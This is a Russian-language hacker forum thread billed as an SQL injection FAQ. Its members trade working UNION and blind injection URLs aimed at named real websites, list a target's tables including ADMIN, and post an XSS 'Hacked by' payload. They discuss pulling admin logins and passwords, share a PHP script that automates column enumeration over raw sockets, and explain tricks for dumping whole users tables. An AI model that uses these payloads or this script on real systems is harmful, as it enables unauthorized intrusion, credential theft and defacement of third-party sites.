Авторские статьи SQL injection полный FAQ

Discussion in 'Статьи' started by Dr.Z3r0, 7 Jul 2007.

  1. Мистерео

    Мистерео Elder - Старейшина

    Joined:
    7 Aug 2006
    Messages:
    33
    Likes Received:
    32
    Reputations:
    1
    Вот решил тоже поучится и нашел достаточно интересный сайт таблицы нашел но прочитать колонки к ним не могу хотя составляю правильный запрос типу:
    Code:
    http://www.tokiavto.ru/pages.php?id=-1+union+select+1,2,COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='ADMIN'+LIMIT+1,1/*
    Кстати все таблицы
    Code:
    COLLATIONS
    COLLATION_CHARACTER_SET_APPLICABILITY
    COLUMNS
    COLUMN_PRIVILEGES
    KEY_COLUMN_USAGE
    PROFILING 	
    ROUTINES
    SCHEMATA
    SCHEMA_PRIVILEGES
    STATISTICS	
    TABLES
    TABLE_CONSTRAINTS
    TABLE_PRIVILEGES
    TRIGGERS
    USER_PRIVILEGES
    VIEWS
    newsleech
    toki_ekskurs
    toki_news
    toki_pages
    toki_transport
    ABOUT
    ADMIN
    COLOR
    COMPILE
    CONTACTS
    GUESTBOOK
    MATERIAL
    NEWS
    PRODUCER
    REKLAMA
    SEASON
    SEASON_THINGS
    SHOPS
    TGROUP
    THINGS
    THINGS_COLORS
    
     
  2. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Мистерео
    А чем тебе не нравится эта тема:
    https://forum.antichat.ru/threadnav46016-1-10.html
    По сабжу : название таблицы в Hex вот ссылка :
    _http://snak3.h17.ru/tools/
    вот так будет выглядеть:
    _http://www.tokiavto.ru/pages.php?id=-1+union+select+1,2,COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x41444d494e+LIMIT+4,1/*
    Да, твой следующий вопрос будет почему нет вывода логин-пароля
    Ответ: таблица ADMIN в другой базе ;)
    Будут вопросы пиши по возможности в теме которую я привёл-быстрее помогут
     
    1 person likes this.
  3. foopi

    foopi Member

    Joined:
    26 Oct 2008
    Messages:
    41
    Likes Received:
    20
    Reputations:
    5
    http://kengu.ru/news.php?get=-4172+OR+id=0x494628415343494928535542535452494E47282853454C4543542B555345522829292C312C31293E3D312C2734313732272C2734313733272929--
    (это зашифрованное IF(ASCII(SUBSTRING((SELECT+USER()),1,1)>=1,'4172','4173')) )

    http://kengu.ru/news.php?get=-4172+OR+id=0x494628415343494928535542535452494E47282853454C4543542B555345522829292C312C31293E3D3235352C2734313732272C2734313733272929--
    (это зашифрованное IF(ASCII(SUBSTRING((SELECT+USER()),1,1)>=255,'4172','4173')) )

    Вопрос! почему всегда ответ один и тотже(хотя 4172 и 4173 -разные)
     
  4. masternet

    masternet Elder - Старейшина

    Joined:
    18 May 2008
    Messages:
    58
    Likes Received:
    43
    Reputations:
    0
    http://www.shale.ru/page.php?lev1=-1+union+select+1,2,3,4,5,'</script>alert('Hacked by masternet')</script>',7,8,9,10--
    sixss нету..почему так?
     
  5. ThreeD

    ThreeD Banned

    Joined:
    25 Dec 2006
    Messages:
    128
    Likes Received:
    112
    Reputations:
    9
    Потому что там и не должно быть SIXSS,зачем такой изврат нереальный????
    Там пятая версия, дампи таблицы и имей сервак без sixxs xD
    http://www.shale.ru/page.php?lev1=-1+union+select+1,2,3,4,5,version(),7,8,9,10--
    Ты темы не попутал случаем? :D
     
  6. masternet

    masternet Elder - Старейшина

    Joined:
    18 May 2008
    Messages:
    58
    Likes Received:
    43
    Reputations:
    0
    ну тогда ещё вопрос..сессию пиздить надо?а то не коннектится к админке..
    shale.ru/admin
    shale;941618
    жалко правда что нету форума(
     
  7. ThreeD

    ThreeD Banned

    Joined:
    25 Dec 2006
    Messages:
    128
    Likes Received:
    112
    Reputations:
    9
    masternet
    КАКАЯ НАХ СЕССИЯ!!!!??? Дампи таблицы и выдёргивай логин с пассом админа, или проверяй на доступ к mysql.user! Эта уязвимость лучше чем sixxs ))) бред какой то, ты извращенец. Вали в раздел "Ваши вопросы по уязвимостям" и внимательно перечитай первый пост этой темы!!!!
    УУУ...Я ржу нереально.
    И кстати- xss , cross-site scripting - если не ошибаюсь, пишется так.
     
  8. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Дополню пожалуй материал относительно двух запросов подряд.

    Думаю все кто знаком с инъекциями с этой ошибкой сталкивались. При подборе количества полей через order by показывает допустим 4 поля, а при запросе union select 1,2,3,4 выкидывает ошибку different number of columns
    Обычно на вопрос что это кто-нибудь отвечает что-то типа "там два запроса","ищи другой параметр", "юзай подзапросы" и это как-бы само по себе подразумевает, что вывода небудет.
    Это не совсем так, а точнее совсем не так. Количество запросов не влияет на вывод, он либо есть, либо нет, и сколько запросов идёт к базе без разницы.
    Давайте разберёмся. Допустим код выглядит так(не знаю кому это может понадобится, рассматриваем теорию :)):
    PHP:
    $sql="SELECT page_title, page_autor, page_content, page_date FROM pages WHERE id=$id order by id limit 1";
    $sql1="SELECT page_title, page_autor, page_content FROM pages WHERE id=$id order by id limit 1";

    $res=mysql_query($sql);
    $result mysql_fetch_row($res);

    $res1=mysql_query($sql1);
    $result1 mysql_fetch_row($res1);

    echo 
    $result[0]."<br>";
    echo 
    $result[1]."<br>";
    echo 
    $result[2]."<br>";
    echo 
    $result[3]."<br>";

    echo 
    $result1[0]."<br>";
    echo 
    $result1[1]."<br>";
    echo 
    $result1[2]."<br>";
    Что будет при подборе:
    ?id=2+order+by+3/*--------вывод без ошибок
    ?id=2+order+by+4/*--------ошибка Unknown column '4' in 'order clause', но вывод из первого запроса остался. Ошибка возникает во втором запросе
    ?id=2+order+by+5/*--------тут уже вывода нет, оба запроса не верны
    Начинаем вывод полей
    ?id=-2+union+select+1,2,3/*-------вывод из 2-го запроса (в нём кол-во полей совпало)
    ?id=-2+union+select+1,2,3,4/*-------из первого
    Тоесть вывод есть !
    При расположении запросов в обратном порядке , будет то-же самое

    Далее, усложним задачу :) Вывод из разных таблиц:
    PHP:
    $sql="SELECT page_title, page_autor, page_content, page_date FROM pages WHERE id=$id";
    $res=mysql_query($sql);
    $result mysql_fetch_row($res);

    $sql1="SELECT title, date FROM news WHERE id=$id";
    $res1=mysql_query($sql1);
    $result1 mysql_fetch_row($res1);

    echo 
    $result[0]."<br>";
    echo 
    $result[1]."<br>";
    echo 
    $result[2]."<br>";
    echo 
    $result[3]."<br>";

    echo 
    "result1 : ".$result1[0]."<br>";
    echo 
    "result1 : ".$result1[1]."<br>";
    ?id=1+order+by+2/*------вывод
    ?id=1+order+by+3/*------ошибка, но вывод из первого запроса
    ?id=1+order+by+5/*------и наконец ошибка
    Выводим:
    ?id=-1+union+select+1,2/*-------вывод (2 запрс верен)
    ?id=-1+union+select+1,2,3,4/*--вывод (1 запрс верен)

    Ну и наконец смертельный номер :) Результат одного запроса, идёт в другой запрос:
    PHP:
    $sql1="SELECT page_title, id, page_content, page_date FROM pages WHERE page_autor='$id'";
    $res1=mysql_query($sql1);
    $result1 mysql_fetch_row($res1);

    if(
    $res1){
    $sql="SELECT title, date FROM news WHERE id='$result1[1]'";
    $res=mysql_query($sql);
    $result mysql_fetch_row($res);

    echo 
    "result : ".$result[0]."<br>";
    echo 
    "result : ".$result[1]."<br>";
    }
    echo 
    $result1[0]."<br>";
    echo 
    $result1[1]."<br>";
    echo 
    $result1[2]."<br>";
    echo 
    $result1[3]."<br>";
    ?id=sa'+order+by+4/*------вывод
    ?id=sa'+order+by+5/*------ошибка
    Вывод
    ?id=a'+union+select+1,2,3,4/*---из 1 запроса(второй кстати тоже будет верным)
    Ну и из второго тоже можно вывести, но это конечно так, для общего развития:
    ?id=a'+union+select+1,"-1'+union+select+1,2/*",3,4/*
    Сдесь вывод из двух запросов

    Это конечно не полный перечень возможных запросов, но целью было не рассмотрение всех возможных вариантов. Этим дополнением я хотел показать, что неважно сколько запросов идёт к базе, вывод можно сделать, просто перебор кол-ва столбцов будет несколько отличаться от обычного.
    Разумеется ничего нового в материале нет, но надеюсь вопросов(а главное ответов :)) связанных с этой ошибкой поубавится

    Ну и пример из жизни (взял первую, что нашол, из топика по скулям, кого обидел не поставив копирайты сори )
    http://presscenter.kz/index.php?show=news&id=2+order+by+5/*
    Вывод
    http://presscenter.kz/index.php?show=news&id=2+order+by+6/*
    Unknown column '6' in 'order clause'
    http://presscenter.kz/index.php?show=news&id=2+union+select+1,2,3,4,5/*
    The used SELECT statements have a different number of columns
    Вывод:
    http://presscenter.kz/index.php?show=news&id=-1+union+select+concat(0x3a3a3a3a,Version()),2,3,4,5,6,7,8,9/*
     
    5 people like this.
  9. Imperou$

    Imperou$ Elder - Старейшина

    Joined:
    23 May 2008
    Messages:
    90
    Likes Received:
    42
    Reputations:
    0
    jokester
    Спасибо конечно за статью, но я только ещё больше запутался...
    почему 9 полей и конкатенация 2х запросов (0x3a3a3a3a,Version()) ?
    если, как ты писал в статье

    +order+by+5/*
    Вывод
    +order+by+6/*
    Unknown column '6' in 'order clause'

    а допустим просто Version() или concat(version()) не работает.

    Вот непонял я этого...
    Можешь тут подробнее, как пришёл к этому, плз ?
     
  10. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Imperou$ Конкретно эту скуль я взял для примера, первое что попалось, но объяснить конечно могу :)

    Смотри что получается при таком запросе:
    http://presscenter.kz/index.php?show=news&id=1+order+by+5/*
    Есть нормальный вывод, вот так:
    http://presscenter.kz/index.php?show=news&id=1+order+by+6/*
    Ошибка
    Предполагаем, что полей 5 и пробуем вывод:
    http://presscenter.kz/index.php?show=news&id=1+union+select+1,2,3,4,5/*
    The used SELECT statements have a different number of columns
    Но ордер показывал 5 полей, значит запрос не один.
    Можно просто сделать перебор с помощью union+select(до вывода, или каких нибуть изменений), но конкретно в этом случае, есть другой способ
    ставим отрицательное значение:
    http://presscenter.kz/index.php?show=news&id=-1+order+by+1/*
    редирект
    http://presscenter.kz/index.php?show=news&id=-1+order+by+10/*
    Unknown column '10' in 'order clause'
    http://presscenter.kz/index.php?show=news&id=-1+order+by+9/*
    редирект
    Вот и второй запрос нарисовался )

    А concat и 0x3a3a3a3a, это просто вывод хреновый(именно сдесь), и без этого ты не увидишь значение, можешь сюда что хочешь записать, что-бы сместить :)
     
  11. hackmen

    hackmen Banned

    Joined:
    22 Oct 2007
    Messages:
    110
    Likes Received:
    46
    Reputations:
    1
    ПОмогите разобраться с полезным скриптом на примере данного ниже сайта. Что и как правильно ввести. С меня хоть и небольшой,) но плюс.
    http://acad.coloradocollege.edu/dept/en/story.php?id=-47+union+select+1,version(),3,4,5,6,7,8--

    PHP:
    <?php
    $set
    ['b']='121212';//Что находится перед выводиомй инфой
    $set['e']='212121';//Что находится после выводимой инфы
    $set['u']='http://test/news.php?id=';//URL с узвимым параметров В КОНЦЕ(!)
    $set['z']='-1 UNION SELECT CONCAT(0x313231323132,TABLE_NAME, 0x2D, COLUMN_NAME, 0x323132313231) FROM INFORMATION_SCHEMA.COLUMNS LIMIT +++counter+++,1/*';//Уязвимый параметр
    $set['c']='+++counter+++';//Строка счетчика
    $set['f']='0';//Начальное значение счетчика
    $set['s']='500';//Конечное значение счетчика
    $set['h']='test';//Хост

    if(!empty($_GET['b']))$set['b']=$_GET['b'];
    if(!empty(
    $_GET['e']))$set['e']=$_GET['e'];
    if(!empty(
    $_GET['u']))$set['u']=$_GET['u'];
    if(!empty(
    $_GET['z']))$set['z']=$_GET['z'];
    if(!empty(
    $_GET['c']))$set['c']=$_GET['c'];
    if(!empty(
    $_GET['f']))$set['f']=$_GET['f'];
    if(!empty(
    $_GET['s']))$set['s']=$_GET['s'];
    if(!empty(
    $_GET['h']))$set['h']=$_GET['h'];

    for(
    $i=$set['f'];$i<=$set['s'];$i++)
    {
    $zapros=str_replace($set['c'],$i,$set['z']);//Изменияем счетчик в уязвимом параметре

    //Создаем пакет
    $header="GET ".$set['u'].urlencode($zapros)." HTTP/1.0\r\n";
    $header.="Accept-Language: en-us,en;q=0.5\r\n";
    $header.="Accept-Charset: utf-8,*;q=0.7\r\n";
    $header.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5";
    $header.="User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n";
    $header.="Connection: keep-alive\r\n";
    $header.="Cookie: PHPSESSID=028df047751bfc9a2ee18204eb2d5595\r\n";
    $header.='Cookie2: $Version=1'."\r\n";
    $header.="Host: ".$set['h']."\r\n\r\n";

    $dt="";
    $fp=fsockopen($set['h'], 80);
    fwrite($fp$header);
    while(!
    feof($fp)) $dt.=fread($fp1024);
    fclose($fp);

    //Вырезаем необходимую инфу
    $dt=substr($dt,strpos($dt,$set['b'])+strlen($set['b']));
    $dt=substr($dt,0,strpos($dt,$set['e']));

    //Выводим инфу на экран
    echo($dt."\r\n");
    flush();
    }

    ?>
     
  12. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    5 people like this.
  13. cr0w

    cr0w Elder - Старейшина

    Joined:
    11 Sep 2008
    Messages:
    92
    Likes Received:
    141
    Reputations:
    33
    Возможное решение проблемы трудноподбираемых имен колонок при инъекциях в MySQL 4.1.x

    Возможное решение проблемы трудноподбираемых имен колонок при инъекциях в MySQL => 4.1.0

    Вроде, описания подобного трюка тут еще небыло...

    Допустим, имеется SQL-инъекция:
    Code:
    ?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+from+users
    Имеется вывод нескольких полей. И при этом, никак не получается подобрать имена колонок таблицы users. Как решить эту проблему?

    На самом деле, при написании запроса писать названия столбцов не обязательно - ведь можно вывести их все с помощью знака "*".
    Тут возникает необходимое условие: количество столбцов, которое извлекает запрос, в который мы вндряем инъекцию, должно быть больше или равно общему количеству столбцов в таблице users.
    Например, пусть в users 8 столбцов. Тогда нам необходимо дополнить их еще пятью, чтоб не было ошибки "different number of columns". Сделать это можно, например, так:
    Code:
    ?id=-1+union+select+*+from+users,(select+1,2,3,4,5)x
    Т.е. 8 столбцов таблицы users будут дополнены пятью из таблицы x.
    Обычно, далеко не все получаемые запросом поля выводятся, поэтому не факт, что нам выведется именно нужная полезная информация (логин, пасс) из users. Но мы можем сделать в данном случае еще ряд запросов, чтоб попробовать все-таки получить нужную инфу:
    Code:
    ?id=-1+union+select+*+from+(select+1)y,users,(select+1,2,3,4)x
    ?id=-1+union+select+*+from+(select+1,2)y,users,(select+1,2,3)x
    ?id=-1+union+select+*+from+(select+1,2,3)y,users,(select+1,2)x
    ?id=-1+union+select+*+from+(select+1,2,3,4)y,users,(select+1)x
    ?id=-1+union+select+*+from+(select+1,2,3,4,5)x,users
     
    #53 cr0w, 24 Feb 2009
    Last edited: 25 Feb 2009
    3 people like this.
  14. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Всё же статья для новичков, поэтому счёл своим долгом поправить cr0w, а то материал как-то странно подан :)
    Это зачем?
    А это почему? Зависит от расположения меркурия в венере? :)

    =======================================

    Вот вывод ВСЕЙ информации из users в которой 5 полей, через ОДНО принтабельное поле.

    Допустим: инъекция, 14 полей , вывод в 6. Поехали:

    ?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14

    Подбираем количество полей в users:
    ?id=-1+union+select+*+from+users,(select+1)a
    ?id=-1+union+select+*+from+users,(select+1,2)a
    ?id=-1+union+select+*+from+users,(select+1,2,3)a
    .....
    ?id=-1+union+select+*+from+users,(select+1,2,3,4,5,6,7,8,9)a

    Есть

    У нас получилось искомые 14 полей - 9 из таблицы "а", значит в users полей 5
    Выводим. Принтабельное поле 6 значит под него нужно подгонять вывод.
    ?id=-1+union+select+*+from+(select+1,2,3,4,5)b,users,(select+1,2,3,4)a
    Вывод 1-го поля из таблицы users. Тоесть фактически выбираем из 3 таблиц "b","users" и "a". Первые 5 полей в которых нет вывода забиваем таблицей "b", затем в принтабельное 6 поле выводим 1-е поле из users , далее идут остальные 4 поля users и наконец, что-бы добить до 14 , 4 поля из "a".
    Далее, 2-е поле из users. Смещаем:
    ?id=-1+union+select+*+from+(select+1,2,3,4)b,users,(select+1,2,3,4,5)a
    3-е поле
    ?id=-1+union+select+*+from+(select+1,2,3)b,users,(select+1,2,3,4,5,6)a
    4-е и 5-е
    ?id=-1+union+select+*+from+(select+1,2)b,users,(select+1,2,3,4,5,6,7)a
    ?id=-1+union+select+*+from+(select+1)b,users,(select+1,2,3,4,5,6,7,8)a


    Вот как это выглядит наглядно:
    Ну и другой пример, с принтабельными двумя и невозможностью вывода всей инфы этим способом.

    Допустим : те-же 14 полей, та-же users c 5 полями, но вывод в 1 и 14
    ?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14
    Сдесь мы сможем вывести только 1-е и 5-е поле из users. Тоесть:
    ?id=-1+union+select+*+from+users,(select+1,2,3,4,5,6,7,8,9)a
    первое, и дальше мы её не сдвинем, и последнее:
    ?id=-1+union+select+*+from+(select+1,2,3,4,5,6,7,8,9)a,users

    Выводы:
    что-бы воспользоваться этим способом, нам не нужно несколько принтабельных полей, достаточно одного, но удачно расположенного и тогда возможно вывести все данные из интересующей таблицы. Зависимость этого метода от количества полей в запросе, количества полей в выводимой таблице и расположения принтабельного поля

    PS Я тут не рассматривал варианты с выводом в цикле и другую экзотику, просто поправил и надеюсь более доступно довёл только ту информацию которую предоставил cr0w
     
    6 people like this.
  15. cr0w

    cr0w Elder - Старейшина

    Joined:
    11 Sep 2008
    Messages:
    92
    Likes Received:
    141
    Reputations:
    33
    Ну чтож, привыкайте к такой "странной" подаче материалов от меня. :)

    И да, как мне справедливо заметили уже, это будет работать в версиях => 4.1.х. Кто придумает аналогичный способ для 4.0.х, тому - большой хенкерный респект. :)
     
  16. l1ght

    l1ght Elder - Старейшина

    Joined:
    5 Dec 2006
    Messages:
    191
    Likes Received:
    678
    Reputations:
    333
    можно обойтись и без подзапросов,
    1=2 union select *,2,3,4,5,6,7,8 from users
    =>4.0 ;)
     
    #56 l1ght, 25 Feb 2009
    Last edited: 25 Feb 2009
    4 people like this.
  17. cr0w

    cr0w Elder - Старейшина

    Joined:
    11 Sep 2008
    Messages:
    92
    Likes Received:
    141
    Reputations:
    33
    Да, можно и так, но тут уже нет возможности поперемещать выводимые даные, поэтому способ не совсем аналогичный по своим возможностям (и вообще, это старый боян). Поэтому вам достается пока только маленький хенкерный респект. :)
     
    #57 cr0w, 25 Feb 2009
    Last edited: 25 Feb 2009
  18. l1ght

    l1ght Elder - Старейшина

    Joined:
    5 Dec 2006
    Messages:
    191
    Likes Received:
    678
    Reputations:
    333
    ошибаешься, данными можно двигать, так что (учитывая размах в плане версий :) ) мой вариант эффективнее =)
    все-таки вот small example (в виде двух эквивалентных по результатам запросов) к написанному материалу, или просто для тех кто не вкурил в таблицу jokester
    вариант 1 алиасы:
    вариант 2:
     
    9 people like this.
  19. cr0w

    cr0w Elder - Старейшина

    Joined:
    11 Sep 2008
    Messages:
    92
    Likes Received:
    141
    Reputations:
    33
    Да, молодец. БХР достается тебе. (:)

    p.s. Я предложенный мною способ придумал года полтора назад, после того как в логах одного сайта нашел попытку провести инъекцию вида
    Code:
    -1+union+select+*,1,2,3,4,5+from+users
    У атакующего не получилось вытащить пасс, так как он не додумался "подвигать" выводимые данные, у меня - получилось с помощью вышеописанного способа с алиасами в from'е. Еще тогда я подумал, что должен быть более красивый способ сделать это. Но, по ряду причин, я не догадался использовать запись с "table_name.*" вместо записи вида
    Code:
    -1+union+select+6,*,2,3,4,5,1+from+users
    которая неработоспособна.
     
    #59 cr0w, 28 Feb 2009
    Last edited: 1 Mar 2009
    2 people like this.
  20. ReScE11ER

    ReScE11ER New Member

    Joined:
    3 Mar 2009
    Messages:
    2
    Likes Received:
    0
    Reputations:
    -1
    у меня вопрос
    через эту ошибку можно что нибудь сделать